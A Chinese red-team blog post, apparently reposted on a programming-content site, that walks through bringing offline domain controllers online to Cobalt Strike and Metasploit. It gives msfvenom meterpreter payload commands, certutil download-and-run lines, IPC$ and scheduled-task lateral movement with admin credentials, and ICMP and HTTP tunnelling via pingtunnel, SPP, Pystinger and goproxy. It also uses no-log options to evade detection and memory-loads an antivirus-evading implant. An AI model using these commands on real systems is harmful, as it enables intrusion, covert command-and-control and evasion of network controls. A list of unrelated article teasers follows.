红队攻防之特殊场景上线cs和msf

news2024/9/28 1:16:41

倘见玉皇先跪奏：他生永不落红尘

本文首发于先知社区，原创作者即是本人

网络拓扑图

img

一、msf正向木马拿不出网域控shell

msf生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin

用msfvenom生成一个正向马传进去（因为无法访问外网，反向出不来），msf正向连接。

img

域控上线msf

通过域控web服务的shell进行操作，域控远程下载边界跳板机上的马

C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://xxx.xxx.xxx/msf1.exe msf1.exe

img

再通过提权工具进行执行

C:\ProgramData\xxxx.exe -i -c "msf1.exe"

img

msf通过代理开启监听

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST xxx.xxx.xxx
set lport 4444
run

img

成功获取域控服务器的shell

img

二、主机中转监听横向上线不出网域控

设置中转监听

img

这个监听IP要内网可以通信的内网IP

img

然后生成无阶段木马(分阶段木马无法选择中转监听器)，再把木马copy到域控，设置好任务计划，启动木马之后就能够获取域控的shell了

img

ipc$+计划任务

通过net use建立IPC$连接

shell net use \\x.x.x.x\c$ "xxx" /user:"administrator"

img

利用copy上传后门文件到域控

shell copy C:\xxx.exe \\x.x.x.x\c$

img

运行任务，其中/i表示立即运行

shell schtasks /run /s x.x.x.x /u Administrator /p xxxx /tn test /i

img

域控成功上线cs

img

三、仅ICMP出网pingtunnel上线msf&cs

0. 环境搭建

WEB边界服务器是公司对外提供Web服务的机器，该机器可以通内网，同时向公网提供服务。内网同网段存在一台Windows内网服务器域控，Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps（ping），所以只能用ICMP搭建通往内网的隧道，访问内网服务器域控进行后续攻击操作。

1. pingtunnel

注意，在客户端中运行一定要加noprint nolog两个参数，否则会生成大量的日志文件
由于ICMP为网络层协议，应用层防火墙无法识别，且请求包当中的数据字段被加密

2. vps服务端开启

./pingtunnel -type server       ##开启服务器模式

回显0连接

img

3. 客户端开启

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

img

客户端本地监听9999端口 ，将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后，kali有回显

img

4. msf上线

制作木马，木马的回连地址为127.0.0.1:9999,运行上线msf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe

img

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 7777
exploit -j

img

把木马msf.exe从蚁剑上传到靶机，运行

img

已上线msf

img

5. CS上线

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

img

客户端本地监听9999端口 ，将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后，kali有回显

img

建立监听127.0.0.1:9999和x.x.x.x:7777

img

对ICMP-127的监听生成木马cs.exe

img

传到靶机运行

img

CS监听上线

img

四、仅ICMP出网SPP上线Cobalt Strike

环境搭建

WEB边界服务器是公司对外提供Web服务的机器，该机器可以通内网，同时向公网提供服务。内网同网段存在一台Windows内网服务器域控，Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps（ping），所以只能用ICMP搭建通往内网的隧道，访问内网服务器域控进行后续攻击操作。

工具：

SPP
反向代理用于进入目标内网，正向代理可配合远控工具进行上线。

1. Server

服务端启动

./spp -type server -proto ricmp -listen 0.0.0.0

img

2. Client

客户端启动
-nolog 1不输出日志，-noprint 1不打印内容

spp.exe -name "cs" -type proxy_client -server x.x.x.x -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1

img

vps回显

img

3. 创建SPP Listeners

配置一个http beacon，Host为vps地址：x.x.x.x，监听8081端口

img

4. 创建SPP-127 Linsteners

再起一个本地监听的http beacon，Host为：127.0.0.1（这里也可以换成web跳板机的内网IP：x.x.x.x），监听本地8082

img

5. 生成无阶段木马

img

监听器选择SPP-127，进行上线

img

传到靶机运行

img

此时查看cs已上线

img

vps回显

img

将SPP-127 Linsteners的Host换成web跳板机的内网IP：x.x.x.x，监听本地8082

img

生成无阶段木马

img

监听器选择SPP-127，进行上线

img

传到靶机运行

img

此时查看cs已上线

img

vps回显

img

五、Pystinger正向代理上线不出网域控到cs

工具：

Pystinger

条件：

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务，并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用

环境机器不可以ping通其他机器

img

1. 上传代理文件

  1. 通过Webshell上传Pystinger的对应语言的Webshell到目标机器，实现内网SOCK4代理， 确保http://x.x.x.x/pystinger/proxy.php可以访问，页面返回 UTF-8。

img

2. 服务端运行

参考github上Cobalt Strike多主机上线方式，上传stingger_server.exe到目标机器，然后运行

start stinger_server.exe 0.0.0.0

img

3. 客户端运行

在VPS上上传stinger_client，-w proxy的url地址，执行

./stinger_client -w http://x.x.x.x/pystinger/proxy.php -l 0.0.0.0 -p 60000

img

4. 创建监听器

Cobalt Strike新建监听pystinger，多主机上线设置Host为目标机器能够与更深层机器相连的内网ip：x.x.x.x，端口为60020。
单主机上线设置Host为目标机器的ip：127.0.0.1，端口为60020，只能本主机上线

img

5. 生成木马

img

蚁剑运行木马文件

img

此时查看cs已上线

img

六、goproxy http代理上线不出网域控到cs

工具：

goproxy

条件：

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务，并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用

img

环境机器不可以ping通其他机器

img

1. 上传proxy.exe

通过Webshell上传proxy.exe到目标机器的可读可写目录，执行以下命令在这台出网主机开启一个4444端口的HTTP服务，供后面与不出网域控通讯。

proxy.exe http -t tcp -p "0.0.0.0:4444" --daemon
netstat -ano

img

2. 创建监听器

Cobalt strike创建监听器，代理地址为不出网域控能访问到的地址，http://x.x.x.x:4444

img

3. 生成木马

有效荷载选择Windows Executable(S)，不然无法上线

img

然后利用蚁剑将该文件上传到web服务器供不出网域控下载使用。
不出网win2008执行如下命令，要写不出网win2008同层能访问到的地址，下载CS的有效载荷。
certutil -urlcache -split -f http://x.x.x.x/xxx.exe C:\xxx.exe

img

执行木马

img

成功上线cs

img

七、内存加载不出网域控上线cs

条件：

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务，并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用

img

环境机器不可以ping通其他机器

img

1. 拿跳板机session

首先拿到跳板机的一个Administrator权限的session

img

2. 创建监听器

创建一个Bind TCP Listener

img

3. 生成木马

生成无阶段木马

img

免杀后上传到跳板机的C:\

img

4.内存加载xxx.exe

execute-assembly C:\xxx.exe -m=psexec -i=x.x.x.x -u=administrator -p=xxxx -d=xxx -f=C:\xxx.exe -e=C:\xxx.exe

img

5.连接目标机

connect x.x.x.x 4444

img

6.查看cs目标已成功上线

img
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：各家兴 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区：
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1223147.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

第五届全国高校计算机能力挑战赛-程序设计挑战赛(C++)

第五届全国高校计算机能力挑战赛-程序设计挑战赛(C++)

代码输出结果题目，自己跟着敲一遍就行了！！！ 指针常量和常量指针的区别https://blog.csdn.net/qq_36132127/article/details/81940015?ops_request_misc%257B%2522request%255Fid%2522%253A%2522170027731616800222813804%2522%2…
阅读更多...
基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码

基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码

基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于人工电场优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要：针对PNN神…
阅读更多...
LeetCode47-全排列II-剪枝逻辑

LeetCode47-全排列II-剪枝逻辑

参考链接: 🔗:卡尔的代码随想录:全排列II 这里第一层,used只有一个元素为1,代表只取出了1个元素作为排列,第二层used有两个元素为1,代表取出了2个元素作为排列,因为数组有序,所以重复的元素都是挨着的,因此可以使用如下语句去重. 其中visit[i-1]False的话,就是代表…
阅读更多...
代码随想录算法训练营第三十八天【动态规划part01】 | 动态规划理论基础、509. 斐波那契数、70. 爬楼梯、746. 使用最小花费爬楼梯

代码随想录算法训练营第三十八天【动态规划part01】 | 动态规划理论基础、509. 斐波那契数、70. 爬楼梯、746. 使用最小花费爬楼梯

动态规划理论基础 什么是动态规划 动态规划 (Dynamic Programming, DP)，是求解决策过程最优化的过程。 如果某一问题有很多重叠子问题，使用动态规划是最有效的。 所以动态规划中每一个状态一定是由上一个状态推导出来的，这一点就区分于贪…
阅读更多...
振南技术干货集：比萨斜塔要倒了,倾斜传感器快来！（5）

振南技术干货集：比萨斜塔要倒了,倾斜传感器快来！（5）

注解目录 1、倾斜传感器的那些基础干货 1.1 典型应用场景 （危楼、边坡、古建筑都是对倾斜敏感的。） 1.2 倾斜传感器的原理 1.2.1 滚珠式倾斜开关 1.2.2 加速度式倾斜传感器 1)直接输出倾角 2)加速度计算倾角 3)倾角精度的提高 （如果…
阅读更多...
NC65 如何设置现金流量明细查询的查询框中核算账簿可多选？？

NC65 如何设置现金流量明细查询的查询框中核算账簿可多选？？

NC65 如何设置现金流量明细查询的查询框中核算账簿可多选？？ NC65 如何设置现金流量明细查询的查询框中核算账簿可多选？？效果如下图 解决方案二开，即在 nc.ui.gl.cashflowcase.CashFlowDetailQueryUI 的 onButtonQuer…
阅读更多...
2018年五一杯数学建模B题商业银行人民币贷款规模分配及盈利问题解题全过程文档及程序

2018年五一杯数学建模B题商业银行人民币贷款规模分配及盈利问题解题全过程文档及程序

2019年五一杯数学建模 B题 商业银行人民币贷款规模分配及盈利问题 原题再现 商业银行贷款投放的简单模型是：从客户端吸收存款，缴存法定准备金（法定准备金率：大型金融机构15.5%，中小金融机构12%；法定准备金…
阅读更多...
安装 eslint 配置指南 及 遇到的一些问题记录

安装 eslint 配置指南 及 遇到的一些问题记录

前端eslint配置指南 背景 当前前端项目风格混乱，每个人有自己的开发习惯，有自己的格式化习惯，不便于项目的风格统一，不利于代码维护有的项目eslint没有用起来，没有起到规范代码的作用，导致出现一些基础代码…
阅读更多...
RT-DETR算法优化改进：Inner-IoU基于辅助边框的IoU损失，高效结合 GIoU, DIoU, CIoU，SIoU 等 | 2023.11

RT-DETR算法优化改进：Inner-IoU基于辅助边框的IoU损失，高效结合 GIoU, DIoU, CIoU，SIoU 等 | 2023.11

本文改进：Inner-IoU引入尺度因子 ratio 控制辅助边框的尺度大小用于计算损失，并与现有的基于 IoU （ GIoU, DIoU, CIoU，SIoU ）损失进行有效结合 推荐指数：5颗星 新颖指数：5颗星 RT-DETR魔术师专栏介绍： https://blog.csdn.net/m0_63774211/category_12497375…
阅读更多...
UE5 C++报错：is not currently enabled for Live Coding

UE5 C++报错：is not currently enabled for Live Coding

解决办法： 再次打开项目，以此法打开：
阅读更多...
【汇编】Loop指令、段前缀

【汇编】Loop指令、段前缀

文章目录 前言一、Loop指令1.1 Loop指令是什么？1.2 他的条件是什么？1.3 例子示例1示例2 1.4 要点总结 二、段前缀2.1 为什么要引入他2.2 对策 总结 前言 在计算机编程的世界里，了解底层的硬件操作是提升程序员能力的关键一步。汇编语言作为一…
阅读更多...
AI技术：分享8个非常实用的AI绘画网站

AI技术：分享8个非常实用的AI绘画网站

目录 1、Midjourney 2、Stable Diffusion Omline 3、Microsoft Designer 4、Craiyon 5、NightCafe Studio 6、Wombo 7、Dalle-2 8、Avatar AI 1、Midjourney 特点：业内标杆，效果最强大 Midjourney是基于diffusion的AI图画艺术生成器。生成图片不…
阅读更多...
PyTorch DataLoader整理函数详解【collate_fn】

PyTorch DataLoader整理函数详解【collate_fn】

DataLoader 是 PyTorch 中最常用的类之一。 而且，它是你首先学习的内容之一。 该类有很多参数，但最有可能的是，你将使用其中的大约三个参数（dataset、shuffle 和 batch_size）。 今天我想解释一下 collate_fn 的含义—根…
阅读更多...
【开源】基于JAVA的快递管理系统

【开源】基于JAVA的快递管理系统

项目编号： S 007 ，文末获取源码。 \color{red}{项目编号：S007，文末获取源码。} 项目编号：S007，文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容2.1 数据中心模块2.2 快递类型模块2.3 快…
阅读更多...
windows 10 更新永久关闭

windows 10 更新永久关闭

1 winR 输入：services.msc 编辑： 关闭：
阅读更多...
【快速解决】实验三 简单注册的实现《Android程序设计》实验报告

【快速解决】实验三 简单注册的实现《Android程序设计》实验报告

目录 前言 实验要求 实验三 简单注册的实现 实验目的： 实验内容： 实验提示： 无 三、遇到的问题总结（如果有问题，请总结。如果没问题请写“无”） 正文开始 第一步建立项目 第二步选择empty views a…
阅读更多...
Linux-top命令解释

Linux-top命令解释

Linux-top命令解释 常用参数查看所有逻辑核的运行情况：1查看指定进程的情况：-p pid显示进程的完整命令：-c 面板指标解释第一行top第二行tasks第三行%Cpu第四行Mem第五行Swap第六行各进程监控PID：进程IDUSER：进程所有者…
阅读更多...
什么是BT种子！磁力链接又是如何工作的？

什么是BT种子！磁力链接又是如何工作的？

目录 一.什么是BT？1.BT简介：1.1.BT是目前最热门的下载方式之一1.2.BT服务器是通过一种传销的方式来实现文件共享的 2.小知识：2.1.你知道吗BT下载和常规下载到底有哪些不同2.2.BT下载的灵魂：种子2.3.当下载结束后，如果未…
阅读更多...
Redis维护缓存的方案选择

Redis维护缓存的方案选择

Redis中间件常常被用作缓存，而当使用了缓存的时候，缓存中数据的维护，往往是需要重点关注的，尤其是重点考虑的是数据一致性问题。以下是维护数据库缓存的一些常用方案。 1、先删除缓存，再更新数据库 导致数据不一致的…
阅读更多...
vulnhub靶机Momentum

vulnhub靶机Momentum

下载地址：https://download.vulnhub.com/momentum/Momentum.ova 主机发现 目标192.168.21.129 端口扫描 端口版本扫描 漏洞扫描 扫出来点目录简单看看 发现js里面有一点东西 这里面告诉了我们了web文件有id传值，而且有aes加密还有密钥 跟二没有啥区别&…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023